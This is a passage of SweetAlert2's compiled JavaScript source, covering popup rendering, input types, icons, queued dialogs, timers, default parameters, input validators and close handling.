removeAttributes = function removeAttributes(input) { for (var i = 0; i < input.attributes.length; i++) { var attrName = input.attributes[i].name; if (!(['type', 'value', 'style'].indexOf(attrName) !== -1)) { input.removeAttribute(attrName); } } }; var setAttributes = function setAttributes(inputType, inputAttributes) { var input = getInput(getContent(), inputType); if (!input) { return; } removeAttributes(input); for (var attr in inputAttributes) { // Do not set a placeholder for // it'll crash Edge, #1298 if (inputType === 'range' && attr === 'placeholder') { continue; } input.setAttribute(attr, inputAttributes[attr]); } }; var setCustomClass = function setCustomClass(params) { var inputContainer = getInputContainer(params.input); if (params.customClass) { addClass(inputContainer, params.customClass.input); } }; var setInputPlaceholder = function setInputPlaceholder(input, params) { if (!input.placeholder || params.inputPlaceholder) { input.placeholder = params.inputPlaceholder; } }; var getInputContainer = function getInputContainer(inputType) { var inputClass = swalClasses[inputType] ? swalClasses[inputType] : swalClasses.input; return getChildByClass(getContent(), inputClass); }; var renderInputType = {}; renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = function (input, params) { if (typeof params.inputValue === 'string' || typeof params.inputValue === 'number') { input.value = params.inputValue; } else if (!isPromise(params.inputValue)) { warn("Unexpected type of inputValue! Expected \"string\", \"number\" or \"Promise\", got \"".concat(_typeof(params.inputValue), "\"")); } setInputPlaceholder(input, params); input.type = params.input; return input; }; renderInputType.file = function (input, params) { setInputPlaceholder(input, params); return input; }; renderInputType.range = function (range, params) { var rangeInput = range.querySelector('input'); var rangeOutput = range.querySelector('output'); rangeInput.value = params.inputValue; rangeInput.type = params.input; rangeOutput.value = params.inputValue; return range; }; renderInputType.select = function (select, params) { select.textContent = ''; if (params.inputPlaceholder) { var placeholder = document.createElement('option'); setInnerHtml(placeholder, params.inputPlaceholder); placeholder.value = ''; placeholder.disabled = true; placeholder.selected = true; select.appendChild(placeholder); } return select; }; renderInputType.radio = function (radio) { radio.textContent = ''; return radio; }; renderInputType.checkbox = function (checkboxContainer, params) { var checkbox = getInput(getContent(), 'checkbox'); checkbox.value = 1; checkbox.id = swalClasses.checkbox; checkbox.checked = Boolean(params.inputValue); var label = checkboxContainer.querySelector('span'); setInnerHtml(label, params.inputPlaceholder); return checkboxContainer; }; renderInputType.textarea = function (textarea, params) { textarea.value = params.inputValue; setInputPlaceholder(textarea, params); if ('MutationObserver' in window) { // #1699 var initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width); var popupPadding = parseInt(window.getComputedStyle(getPopup()).paddingLeft) + parseInt(window.getComputedStyle(getPopup()).paddingRight); var outputsize = function outputsize() { var contentWidth = textarea.offsetWidth + popupPadding; if (contentWidth > initialPopupWidth) { getPopup().style.width = "".concat(contentWidth, "px"); } else { getPopup().style.width = null; } }; new MutationObserver(outputsize).observe(textarea, { attributes: true, attributeFilter: ['style'] }); } return textarea; }; var renderContent = function renderContent(instance, params) { var content = getContent().querySelector("#".concat(swalClasses.content)); // Content as HTML if (params.html) { parseHtmlToContainer(params.html, content); show(content, 'block'); // Content as plain text } else if (params.text) { content.textContent = params.text; show(content, 'block'); // No content } else { hide(content); } renderInput(instance, params); // Custom class applyCustomClass(getContent(), params, 'content'); }; var renderFooter = function renderFooter(instance, params) { var footer = getFooter(); toggle(footer, params.footer); if (params.footer) { parseHtmlToContainer(params.footer, footer); } // Custom class applyCustomClass(footer, params, 'footer'); }; var renderCloseButton = function renderCloseButton(instance, params) { var closeButton = getCloseButton(); setInnerHtml(closeButton, params.closeButtonHtml); // Custom class applyCustomClass(closeButton, params, 'closeButton'); toggle(closeButton, params.showCloseButton); closeButton.setAttribute('aria-label', params.closeButtonAriaLabel); }; var renderIcon = function renderIcon(instance, params) { var innerParams = privateProps.innerParams.get(instance); // if the given icon already rendered, apply the styling without re-rendering the icon if (innerParams && params.icon === innerParams.icon && getIcon()) { applyStyles(getIcon(), params); return; } hideAllIcons(); if (!params.icon) { return; } if (Object.keys(iconTypes).indexOf(params.icon) !== -1) { var icon = elementBySelector(".".concat(swalClasses.icon, ".").concat(iconTypes[params.icon])); show(icon); // Custom or default content setContent(icon, params); applyStyles(icon, params); // Animate icon addClass(icon, params.showClass.icon); } else { error("Unknown icon! Expected \"success\", \"error\", \"warning\", \"info\" or \"question\", got \"".concat(params.icon, "\"")); } }; var hideAllIcons = function hideAllIcons() { var icons = getIcons(); for (var i = 0; i < icons.length; i++) { hide(icons[i]); } }; var applyStyles = function applyStyles(icon, params) { // Icon color setColor(icon, params); // Success icon background color adjustSuccessIconBackgoundColor(); // Custom class applyCustomClass(icon, params, 'icon'); }; // Adjust success icon background color to match the popup background color var adjustSuccessIconBackgoundColor = function adjustSuccessIconBackgoundColor() { var popup = getPopup(); var popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue('background-color'); var successIconParts = popup.querySelectorAll('[class^=swal2-success-circular-line], .swal2-success-fix'); for (var i = 0; i < successIconParts.length; i++) { successIconParts[i].style.backgroundColor = popupBackgroundColor; } }; var setContent = function setContent(icon, params) { icon.textContent = ''; if (params.iconHtml) { setInnerHtml(icon, iconContent(params.iconHtml)); } else if (params.icon === 'success') { setInnerHtml(icon, "\n
      \n \n
      \n
      \n "); } else if (params.icon === 'error') { setInnerHtml(icon, "\n \n \n \n \n "); } else { var defaultIconHtml = { question: '?', warning: '!', info: 'i' }; setInnerHtml(icon, iconContent(defaultIconHtml[params.icon])); } }; var setColor = function setColor(icon, params) { if (!params.iconColor) { return; } icon.style.color = params.iconColor; icon.style.borderColor = params.iconColor; for (var _i = 0, _arr = ['.swal2-success-line-tip', '.swal2-success-line-long', '.swal2-x-mark-line-left', '.swal2-x-mark-line-right']; _i < _arr.length; _i++) { var sel = _arr[_i]; setStyle(icon, sel, 'backgroundColor', params.iconColor); } setStyle(icon, '.swal2-success-ring', 'borderColor', params.iconColor); }; var iconContent = function iconContent(content) { return "
      ").concat(content, "
      "); }; var renderImage = function renderImage(instance, params) { var image = getImage(); if (!params.imageUrl) { return hide(image); } show(image, ''); // Src, alt image.setAttribute('src', params.imageUrl); image.setAttribute('alt', params.imageAlt); // Width, height applyNumericalStyle(image, 'width', params.imageWidth); applyNumericalStyle(image, 'height', params.imageHeight); // Class image.className = swalClasses.image; applyCustomClass(image, params, 'image'); }; var currentSteps = []; /* * Global function for chaining sweetAlert popups */ var queue = function queue(steps) { var Swal = this; currentSteps = steps; var resetAndResolve = function resetAndResolve(resolve, value) { currentSteps = []; resolve(value); }; var queueResult = []; return new Promise(function (resolve) { (function step(i, callback) { if (i < currentSteps.length) { document.body.setAttribute('data-swal2-queue-step', i); Swal.fire(currentSteps[i]).then(function (result) { if (typeof result.value !== 'undefined') { queueResult.push(result.value); step(i + 1, callback); } else { resetAndResolve(resolve, { dismiss: result.dismiss }); } }); } else { resetAndResolve(resolve, { value: queueResult }); } })(0); }); }; /* * Global function for getting the index of current popup in queue */ var getQueueStep = function getQueueStep() { return getContainer() && getContainer().getAttribute('data-queue-step'); }; /* * Global function for inserting a popup to the queue */ var insertQueueStep = function insertQueueStep(step, index) { if (index && index < currentSteps.length) { return currentSteps.splice(index, 0, step); } return currentSteps.push(step); }; /* * Global function for deleting a popup from the queue */ var deleteQueueStep = function deleteQueueStep(index) { if (typeof currentSteps[index] !== 'undefined') { currentSteps.splice(index, 1); } }; var createStepElement = function createStepElement(step) { var stepEl = document.createElement('li'); addClass(stepEl, swalClasses['progress-step']); setInnerHtml(stepEl, step); return stepEl; }; var createLineElement = function createLineElement(params) { var lineEl = document.createElement('li'); addClass(lineEl, swalClasses['progress-step-line']); if (params.progressStepsDistance) { lineEl.style.width = params.progressStepsDistance; } return lineEl; }; var renderProgressSteps = function renderProgressSteps(instance, params) { var progressStepsContainer = getProgressSteps(); if (!params.progressSteps || params.progressSteps.length === 0) { return hide(progressStepsContainer); } show(progressStepsContainer); progressStepsContainer.textContent = ''; var currentProgressStep = parseInt(params.currentProgressStep === undefined ? getQueueStep() : params.currentProgressStep); if (currentProgressStep >= params.progressSteps.length) { warn('Invalid currentProgressStep parameter, it should be less than progressSteps.length ' + '(currentProgressStep like JS arrays starts from 0)'); } params.progressSteps.forEach(function (step, index) { var stepEl = createStepElement(step); progressStepsContainer.appendChild(stepEl); if (index === currentProgressStep) { addClass(stepEl, swalClasses['active-progress-step']); } if (index !== params.progressSteps.length - 1) { var lineEl = createLineElement(params); progressStepsContainer.appendChild(lineEl); } }); }; var renderTitle = function renderTitle(instance, params) { var title = getTitle(); toggle(title, params.title || params.titleText); if (params.title) { parseHtmlToContainer(params.title, title); } if (params.titleText) { title.innerText = params.titleText; } // Custom class applyCustomClass(title, params, 'title'); }; var renderHeader = function renderHeader(instance, params) { var header = getHeader(); // Custom class applyCustomClass(header, params, 'header'); // Progress steps renderProgressSteps(instance, params); // Icon renderIcon(instance, params); // Image renderImage(instance, params); // Title renderTitle(instance, params); // Close button renderCloseButton(instance, params); }; var renderPopup = function renderPopup(instance, params) { var popup = getPopup(); // Width applyNumericalStyle(popup, 'width', params.width); // Padding applyNumericalStyle(popup, 'padding', params.padding); // Background if (params.background) { popup.style.background = params.background; } // Classes addClasses(popup, params); }; var addClasses = function addClasses(popup, params) { // Default Class + showClass when updating Swal.update({}) popup.className = "".concat(swalClasses.popup, " ").concat(isVisible(popup) ? params.showClass.popup : ''); if (params.toast) { addClass([document.documentElement, document.body], swalClasses['toast-shown']); addClass(popup, swalClasses.toast); } else { addClass(popup, swalClasses.modal); } // Custom class applyCustomClass(popup, params, 'popup'); if (typeof params.customClass === 'string') { addClass(popup, params.customClass); } // Icon class (#1842) if (params.icon) { addClass(popup, swalClasses["icon-".concat(params.icon)]); } }; var render = function render(instance, params) { renderPopup(instance, params); renderContainer(instance, params); renderHeader(instance, params); renderContent(instance, params); renderActions(instance, params); renderFooter(instance, params); if (typeof params.didRender === 'function') { params.didRender(getPopup()); } else if (typeof params.onRender === 'function') { params.onRender(getPopup()); // @deprecated } }; /* * Global function to determine if SweetAlert2 popup is shown */ var isVisible$1 = function isVisible$$1() { return isVisible(getPopup()); }; /* * Global function to click 'Confirm' button */ var clickConfirm = function clickConfirm() { return getConfirmButton() && getConfirmButton().click(); }; /* * Global function to click 'Deny' button */ var clickDeny = function clickDeny() { return getDenyButton() && getDenyButton().click(); }; /* * Global function to click 'Cancel' button */ var clickCancel = function clickCancel() { return getCancelButton() && getCancelButton().click(); }; function fire() { var Swal = this; for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return _construct(Swal, args); } /** * Returns an extended version of `Swal` containing `params` as defaults. * Useful for reusing Swal configuration. * * For example: * * Before: * const textPromptOptions = { input: 'text', showCancelButton: true } * const {value: firstName} = await Swal.fire({ ...textPromptOptions, title: 'What is your first name?' }) * const {value: lastName} = await Swal.fire({ ...textPromptOptions, title: 'What is your last name?' }) * * After: * const TextPrompt = Swal.mixin({ input: 'text', showCancelButton: true }) * const {value: firstName} = await TextPrompt('What is your first name?') * const {value: lastName} = await TextPrompt('What is your last name?') * * @param mixinParams */ function mixin(mixinParams) { var MixinSwal = /*#__PURE__*/function (_this) { _inherits(MixinSwal, _this); var _super = _createSuper(MixinSwal); function MixinSwal() { _classCallCheck(this, MixinSwal); return _super.apply(this, arguments); } _createClass(MixinSwal, [{ key: "_main", value: function _main(params) { return _get(_getPrototypeOf(MixinSwal.prototype), "_main", this).call(this, _extends({}, mixinParams, params)); } }]); return MixinSwal; }(this); return MixinSwal; } /** * Show spinner instead of Confirm button */ var showLoading = function showLoading() { var popup = getPopup(); if (!popup) { Swal.fire(); } popup = getPopup(); var actions = getActions(); var confirmButton = getConfirmButton(); var loader = getLoader(); show(actions); hide(confirmButton); addClass([popup, actions], swalClasses.loading); show(loader); popup.setAttribute('data-loading', true); popup.setAttribute('aria-busy', true); popup.focus(); }; var RESTORE_FOCUS_TIMEOUT = 100; var globalState = {}; var focusPreviousActiveElement = function focusPreviousActiveElement() { if (globalState.previousActiveElement && globalState.previousActiveElement.focus) { globalState.previousActiveElement.focus(); globalState.previousActiveElement = null; } else if (document.body) { document.body.focus(); } }; // Restore previous active (focused) element var restoreActiveElement = function restoreActiveElement() { return new Promise(function (resolve) { var x = window.scrollX; var y = window.scrollY; globalState.restoreFocusTimeout = setTimeout(function () { focusPreviousActiveElement(); resolve(); }, RESTORE_FOCUS_TIMEOUT); // issues/900 /* istanbul ignore if */ if (typeof x !== 'undefined' && typeof y !== 'undefined') { // IE doesn't have scrollX/scrollY support window.scrollTo(x, y); } }); }; /** * If `timer` parameter is set, returns number of milliseconds of timer remained. * Otherwise, returns undefined. */ var getTimerLeft = function getTimerLeft() { return globalState.timeout && globalState.timeout.getTimerLeft(); }; /** * Stop timer. Returns number of milliseconds of timer remained. * If `timer` parameter isn't set, returns undefined. */ var stopTimer = function stopTimer() { if (globalState.timeout) { stopTimerProgressBar(); return globalState.timeout.stop(); } }; /** * Resume timer. Returns number of milliseconds of timer remained. * If `timer` parameter isn't set, returns undefined. */ var resumeTimer = function resumeTimer() { if (globalState.timeout) { var remaining = globalState.timeout.start(); animateTimerProgressBar(remaining); return remaining; } }; /** * Resume timer. Returns number of milliseconds of timer remained. * If `timer` parameter isn't set, returns undefined. */ var toggleTimer = function toggleTimer() { var timer = globalState.timeout; return timer && (timer.running ? stopTimer() : resumeTimer()); }; /** * Increase timer. Returns number of milliseconds of an updated timer. * If `timer` parameter isn't set, returns undefined. */ var increaseTimer = function increaseTimer(n) { if (globalState.timeout) { var remaining = globalState.timeout.increase(n); animateTimerProgressBar(remaining, true); return remaining; } }; /** * Check if timer is running. Returns true if timer is running * or false if timer is paused or stopped. * If `timer` parameter isn't set, returns undefined */ var isTimerRunning = function isTimerRunning() { return globalState.timeout && globalState.timeout.isRunning(); }; var defaultParams = { title: '', titleText: '', text: '', html: '', footer: '', icon: undefined, iconColor: undefined, iconHtml: undefined, toast: false, animation: true, showClass: { popup: 'swal2-show', backdrop: 'swal2-backdrop-show', icon: 'swal2-icon-show' }, hideClass: { popup: 'swal2-hide', backdrop: 'swal2-backdrop-hide', icon: 'swal2-icon-hide' }, customClass: undefined, target: 'body', backdrop: true, heightAuto: true, allowOutsideClick: true, allowEscapeKey: true, allowEnterKey: true, stopKeydownPropagation: true, keydownListenerCapture: false, showConfirmButton: true, showDenyButton: false, showCancelButton: false, preConfirm: undefined, confirmButtonText: 'OK', confirmButtonAriaLabel: '', confirmButtonColor: undefined, denyButtonText: 'No', denyButtonAriaLabel: '', denyButtonColor: undefined, cancelButtonText: 'Cancel', cancelButtonAriaLabel: '', cancelButtonColor: undefined, buttonsStyling: true, reverseButtons: false, focusConfirm: true, focusDeny: false, focusCancel: false, showCloseButton: false, closeButtonHtml: '×', closeButtonAriaLabel: 'Close this dialog', loaderHtml: '', showLoaderOnConfirm: false, imageUrl: undefined, imageWidth: undefined, imageHeight: undefined, imageAlt: '', timer: undefined, timerProgressBar: false, width: undefined, padding: undefined, background: undefined, input: undefined, inputPlaceholder: '', inputValue: '', inputOptions: {}, inputAutoTrim: true, inputAttributes: {}, inputValidator: undefined, validationMessage: undefined, grow: false, position: 'center', progressSteps: [], currentProgressStep: undefined, progressStepsDistance: undefined, onBeforeOpen: undefined, onOpen: undefined, willOpen: undefined, didOpen: undefined, onRender: undefined, didRender: undefined, onClose: undefined, onAfterClose: undefined, willClose: undefined, didClose: undefined, onDestroy: undefined, didDestroy: undefined, scrollbarPadding: true }; var updatableParams = ['allowEscapeKey', 'allowOutsideClick', 'background', 'buttonsStyling', 'cancelButtonAriaLabel', 'cancelButtonColor', 'cancelButtonText', 'closeButtonAriaLabel', 'closeButtonHtml', 'confirmButtonAriaLabel', 'confirmButtonColor', 'confirmButtonText', 'currentProgressStep', 'customClass', 'denyButtonAriaLabel', 'denyButtonColor', 'denyButtonText', 'didClose', 'didDestroy', 'footer', 'hideClass', 'html', 'icon', 'iconColor', 'imageAlt', 'imageHeight', 'imageUrl', 'imageWidth', 'onAfterClose', 'onClose', 'onDestroy', 'progressSteps', 'reverseButtons', 'showCancelButton', 'showCloseButton', 'showConfirmButton', 'showDenyButton', 'text', 'title', 'titleText', 'willClose']; var deprecatedParams = { animation: 'showClass" and "hideClass', onBeforeOpen: 'willOpen', onOpen: 'didOpen', onRender: 'didRender', onClose: 'willClose', onAfterClose: 'didClose', onDestroy: 'didDestroy' }; var toastIncompatibleParams = ['allowOutsideClick', 'allowEnterKey', 'backdrop', 'focusConfirm', 'focusDeny', 'focusCancel', 'heightAuto', 'keydownListenerCapture']; /** * Is valid parameter * @param {String} paramName */ var isValidParameter = function isValidParameter(paramName) { return Object.prototype.hasOwnProperty.call(defaultParams, paramName); }; /** * Is valid parameter for Swal.update() method * @param {String} paramName */ var isUpdatableParameter = function isUpdatableParameter(paramName) { return updatableParams.indexOf(paramName) !== -1; }; /** * Is deprecated parameter * @param {String} paramName */ var isDeprecatedParameter = function isDeprecatedParameter(paramName) { return deprecatedParams[paramName]; }; var checkIfParamIsValid = function checkIfParamIsValid(param) { if (!isValidParameter(param)) { warn("Unknown parameter \"".concat(param, "\"")); } }; var checkIfToastParamIsValid = function checkIfToastParamIsValid(param) { if (toastIncompatibleParams.indexOf(param) !== -1) { warn("The parameter \"".concat(param, "\" is incompatible with toasts")); } }; var checkIfParamIsDeprecated = function checkIfParamIsDeprecated(param) { if (isDeprecatedParameter(param)) { warnAboutDeprecation(param, isDeprecatedParameter(param)); } }; /** * Show relevant warnings for given params * * @param params */ var showWarningsForParams = function showWarningsForParams(params) { for (var param in params) { checkIfParamIsValid(param); if (params.toast) { checkIfToastParamIsValid(param); } checkIfParamIsDeprecated(param); } }; var staticMethods = /*#__PURE__*/Object.freeze({ isValidParameter: isValidParameter, isUpdatableParameter: isUpdatableParameter, isDeprecatedParameter: isDeprecatedParameter, argsToParams: argsToParams, isVisible: isVisible$1, clickConfirm: clickConfirm, clickDeny: clickDeny, clickCancel: clickCancel, getContainer: getContainer, getPopup: getPopup, getTitle: getTitle, getContent: getContent, getHtmlContainer: getHtmlContainer, getImage: getImage, getIcon: getIcon, getIcons: getIcons, getCloseButton: getCloseButton, getActions: getActions, getConfirmButton: getConfirmButton, getDenyButton: getDenyButton, getCancelButton: getCancelButton, getHeader: getHeader, getFooter: getFooter, getTimerProgressBar: getTimerProgressBar, getFocusableElements: getFocusableElements, getValidationMessage: getValidationMessage, isLoading: isLoading, fire: fire, mixin: mixin, queue: queue, getQueueStep: getQueueStep, insertQueueStep: insertQueueStep, deleteQueueStep: deleteQueueStep, showLoading: showLoading, enableLoading: showLoading, getTimerLeft: getTimerLeft, stopTimer: stopTimer, resumeTimer: resumeTimer, toggleTimer: toggleTimer, increaseTimer: increaseTimer, isTimerRunning: isTimerRunning }); /** * Enables buttons and hide loader. */ function hideLoading() { // do nothing if popup is closed var innerParams = privateProps.innerParams.get(this); if (!innerParams) { return; } var domCache = privateProps.domCache.get(this); hide(domCache.loader); if (innerParams.showConfirmButton) { show(domCache.confirmButton); } else if (!innerParams.showConfirmButton && !innerParams.showCancelButton) { hide(domCache.actions); } removeClass([domCache.popup, domCache.actions], swalClasses.loading); domCache.popup.removeAttribute('aria-busy'); domCache.popup.removeAttribute('data-loading'); domCache.confirmButton.disabled = false; domCache.denyButton.disabled = false; domCache.cancelButton.disabled = false; } function getInput$1(instance) { var innerParams = privateProps.innerParams.get(instance || this); var domCache = privateProps.domCache.get(instance || this); if (!domCache) { return null; } return getInput(domCache.content, innerParams.input); } var fixScrollbar = function fixScrollbar() { // for queues, do not do this more than once if (states.previousBodyPadding !== null) { return; } // if the body has overflow if (document.body.scrollHeight > window.innerHeight) { // add padding so the content doesn't shift after removal of scrollbar states.previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue('padding-right')); document.body.style.paddingRight = "".concat(states.previousBodyPadding + measureScrollbar(), "px"); } }; var undoScrollbar = function undoScrollbar() { if (states.previousBodyPadding !== null) { document.body.style.paddingRight = "".concat(states.previousBodyPadding, "px"); states.previousBodyPadding = null; } }; /* istanbul ignore file */ var iOSfix = function iOSfix() { var iOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream || navigator.platform === 'MacIntel' && navigator.maxTouchPoints > 1; if (iOS && !hasClass(document.body, swalClasses.iosfix)) { var offset = document.body.scrollTop; document.body.style.top = "".concat(offset * -1, "px"); addClass(document.body, swalClasses.iosfix); lockBodyScroll(); addBottomPaddingForTallPopups(); // #1948 } }; var addBottomPaddingForTallPopups = function addBottomPaddingForTallPopups() { var safari = !navigator.userAgent.match(/(CriOS|FxiOS|EdgiOS|YaBrowser|UCBrowser)/i); if (safari) { var bottomPanelHeight = 44; if (getPopup().scrollHeight > window.innerHeight - bottomPanelHeight) { getContainer().style.paddingBottom = "".concat(bottomPanelHeight, "px"); } } }; var lockBodyScroll = function lockBodyScroll() { // #1246 var container = getContainer(); var preventTouchMove; container.ontouchstart = function (e) { preventTouchMove = shouldPreventTouchMove(e.target); }; container.ontouchmove = function (e) { if (preventTouchMove) { e.preventDefault(); e.stopPropagation(); } }; }; var shouldPreventTouchMove = function shouldPreventTouchMove(target) { var container = getContainer(); if (target === container) { return true; } if (!isScrollable(container) && target.tagName !== 'INPUT' && // #1603 !(isScrollable(getContent()) && // #1944 getContent().contains(target))) { return true; } return false; }; var undoIOSfix = function undoIOSfix() { if (hasClass(document.body, swalClasses.iosfix)) { var offset = parseInt(document.body.style.top, 10); removeClass(document.body, swalClasses.iosfix); document.body.style.top = ''; document.body.scrollTop = offset * -1; } }; /* istanbul ignore file */ var isIE11 = function isIE11() { return !!window.MSInputMethodContext && !!document.documentMode; }; // Fix IE11 centering sweetalert2/issues/933 var fixVerticalPositionIE = function fixVerticalPositionIE() { var container = getContainer(); var popup = getPopup(); container.style.removeProperty('align-items'); if (popup.offsetTop < 0) { container.style.alignItems = 'flex-start'; } }; var IEfix = function IEfix() { if (typeof window !== 'undefined' && isIE11()) { fixVerticalPositionIE(); window.addEventListener('resize', fixVerticalPositionIE); } }; var undoIEfix = function undoIEfix() { if (typeof window !== 'undefined' && isIE11()) { window.removeEventListener('resize', fixVerticalPositionIE); } }; // Adding aria-hidden="true" to elements outside of the active modal dialog ensures that // elements not within the active modal dialog will not be surfaced if a user opens a screen // reader’s list of elements (headings, form controls, landmarks, etc.) in the document. var setAriaHidden = function setAriaHidden() { var bodyChildren = toArray(document.body.children); bodyChildren.forEach(function (el) { if (el === getContainer() || contains(el, getContainer())) { return; } if (el.hasAttribute('aria-hidden')) { el.setAttribute('data-previous-aria-hidden', el.getAttribute('aria-hidden')); } el.setAttribute('aria-hidden', 'true'); }); }; var unsetAriaHidden = function unsetAriaHidden() { var bodyChildren = toArray(document.body.children); bodyChildren.forEach(function (el) { if (el.hasAttribute('data-previous-aria-hidden')) { el.setAttribute('aria-hidden', el.getAttribute('data-previous-aria-hidden')); el.removeAttribute('data-previous-aria-hidden'); } else { el.removeAttribute('aria-hidden'); } }); }; /** * This module containts `WeakMap`s for each effectively-"private property" that a `Swal` has. * For example, to set the private property "foo" of `this` to "bar", you can `privateProps.foo.set(this, 'bar')` * This is the approach that Babel will probably take to implement private methods/fields * https://github.com/tc39/proposal-private-methods * https://github.com/babel/babel/pull/7555 * Once we have the changes from that PR in Babel, and our core class fits reasonable in *one module* * then we can use that language feature. */ var privateMethods = { swalPromiseResolve: new WeakMap() }; /* * Instance method to close sweetAlert */ function removePopupAndResetState(instance, container, isToast$$1, didClose) { if (isToast$$1) { triggerDidCloseAndDispose(instance, didClose); } else { restoreActiveElement().then(function () { return triggerDidCloseAndDispose(instance, didClose); }); globalState.keydownTarget.removeEventListener('keydown', globalState.keydownHandler, { capture: globalState.keydownListenerCapture }); globalState.keydownHandlerAdded = false; } if (container.parentNode && !document.body.getAttribute('data-swal2-queue-step')) { container.parentNode.removeChild(container); } if (isModal()) { undoScrollbar(); undoIOSfix(); undoIEfix(); unsetAriaHidden(); } removeBodyClasses(); } function removeBodyClasses() { removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses['height-auto'], swalClasses['no-backdrop'], swalClasses['toast-shown'], swalClasses['toast-column']]); } function close(resolveValue) { var popup = getPopup(); if (!popup) { return; } resolveValue = prepareResolveValue(resolveValue); var innerParams = privateProps.innerParams.get(this); if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) { return; } var swalPromiseResolve = privateMethods.swalPromiseResolve.get(this); removeClass(popup, innerParams.showClass.popup); addClass(popup, innerParams.hideClass.popup); var backdrop = getContainer(); removeClass(backdrop, innerParams.showClass.backdrop); addClass(backdrop, innerParams.hideClass.backdrop); handlePopupAnimation(this, popup, innerParams); // Resolve Swal promise swalPromiseResolve(resolveValue); } var prepareResolveValue = function prepareResolveValue(resolveValue) { // When user calls Swal.close() if (typeof resolveValue === 'undefined') { return { isConfirmed: false, isDenied: false, isDismissed: true }; } return _extends({ isConfirmed: false, isDenied: false, isDismissed: false }, resolveValue); }; var handlePopupAnimation = function handlePopupAnimation(instance, popup, innerParams) { var container = getContainer(); // If animation is supported, animate var animationIsSupported = animationEndEvent && hasCssAnimation(popup); var onClose = innerParams.onClose, onAfterClose = innerParams.onAfterClose, willClose = innerParams.willClose, didClose = innerParams.didClose; runDidClose(popup, willClose, onClose); if (animationIsSupported) { animatePopup(instance, popup, container, didClose || onAfterClose); } else { // Otherwise, remove immediately removePopupAndResetState(instance, container, isToast(), didClose || onAfterClose); } }; var runDidClose = function runDidClose(popup, willClose, onClose) { if (willClose !== null && typeof willClose === 'function') { willClose(popup); } else if (onClose !== null && typeof onClose === 'function') { onClose(popup); // @deprecated } }; var animatePopup = function animatePopup(instance, popup, container, didClose) { globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, isToast(), didClose); popup.addEventListener(animationEndEvent, function (e) { if (e.target === popup) { globalState.swalCloseEventFinishedCallback(); delete globalState.swalCloseEventFinishedCallback; } }); }; var triggerDidCloseAndDispose = function triggerDidCloseAndDispose(instance, didClose) { setTimeout(function () { if (typeof didClose === 'function') { didClose(); } instance._destroy(); }); }; function setButtonsDisabled(instance, buttons, disabled) { var domCache = privateProps.domCache.get(instance); buttons.forEach(function (button) { domCache[button].disabled = disabled; }); } function setInputDisabled(input, disabled) { if (!input) { return false; } if (input.type === 'radio') { var radiosContainer = input.parentNode.parentNode; var radios = radiosContainer.querySelectorAll('input'); for (var i = 0; i < radios.length; i++) { radios[i].disabled = disabled; } } else { input.disabled = disabled; } } function enableButtons() { setButtonsDisabled(this, ['confirmButton', 'denyButton', 'cancelButton'], false); } function disableButtons() { setButtonsDisabled(this, ['confirmButton', 'denyButton', 'cancelButton'], true); } function enableInput() { return setInputDisabled(this.getInput(), false); } function disableInput() { return setInputDisabled(this.getInput(), true); } function showValidationMessage(error) { var domCache = privateProps.domCache.get(this); setInnerHtml(domCache.validationMessage, error); var popupComputedStyle = window.getComputedStyle(domCache.popup); domCache.validationMessage.style.marginLeft = "-".concat(popupComputedStyle.getPropertyValue('padding-left')); domCache.validationMessage.style.marginRight = "-".concat(popupComputedStyle.getPropertyValue('padding-right')); show(domCache.validationMessage); var input = this.getInput(); if (input) { input.setAttribute('aria-invalid', true); input.setAttribute('aria-describedBy', swalClasses['validation-message']); focusInput(input); addClass(input, swalClasses.inputerror); } } // Hide block with validation message function resetValidationMessage$1() { var domCache = privateProps.domCache.get(this); if (domCache.validationMessage) { hide(domCache.validationMessage); } var input = this.getInput(); if (input) { input.removeAttribute('aria-invalid'); input.removeAttribute('aria-describedBy'); removeClass(input, swalClasses.inputerror); } } function getProgressSteps$1() { var domCache = privateProps.domCache.get(this); return domCache.progressSteps; } var Timer = /*#__PURE__*/function () { function Timer(callback, delay) { _classCallCheck(this, Timer); this.callback = callback; this.remaining = delay; this.running = false; this.start(); } _createClass(Timer, [{ key: "start", value: function start() { if (!this.running) { this.running = true; this.started = new Date(); this.id = setTimeout(this.callback, this.remaining); } return this.remaining; } }, { key: "stop", value: function stop() { if (this.running) { this.running = false; clearTimeout(this.id); this.remaining -= new Date() - this.started; } return this.remaining; } }, { key: "increase", value: function increase(n) { var running = this.running; if (running) { this.stop(); } this.remaining += n; if (running) { this.start(); } return this.remaining; } }, { key: "getTimerLeft", value: function getTimerLeft() { if (this.running) { this.stop(); this.start(); } return this.remaining; } }, { key: "isRunning", value: function isRunning() { return this.running; } }]); return Timer; }(); var defaultInputValidators = { email: function email(string, validationMessage) { return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || 'Invalid email address'); }, url: function url(string, validationMessage) { // taken from https://stackoverflow.com/a/3809435 with a small change from #1306 and #2013 return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || 'Invalid URL'); } }; function setDefaultInputValidators(params) { // Use default `inputValidator` for supported input types if not provided if (!params.inputValidator) { Object.keys(defaultInputValidators).forEach(function (key) { if (params.input === key) { params.inputValidator = defaultInputValidators[key]; } }); } } function validateCustomTargetElement(params) { // Determine if the custom target element is valid if (!params.target || typeof params.target === 'string' && !document.querySelector(params.target) || typeof params.target !== 'string' && !params.target.appendChild) { warn('Target parameter is not valid, defaulting to "body"'); params.target = 'body'; } } /** * Set type, text and actions on popup * * @param params * @returns {boolean} */ function setParameters(params) { setDefaultInputValidators(params); // showLoaderOnConfirm && preConfirm if (params.showLoaderOnConfirm && !params.preConfirm) { warn('showLoaderOnConfirm is set to true, but preConfirm is not defined.\n' + 'showLoaderOnConfirm should be used together with preConfirm, see usage example:\n' + 'https://sweetalert2.github.io/#ajax-request'); } // params.animation 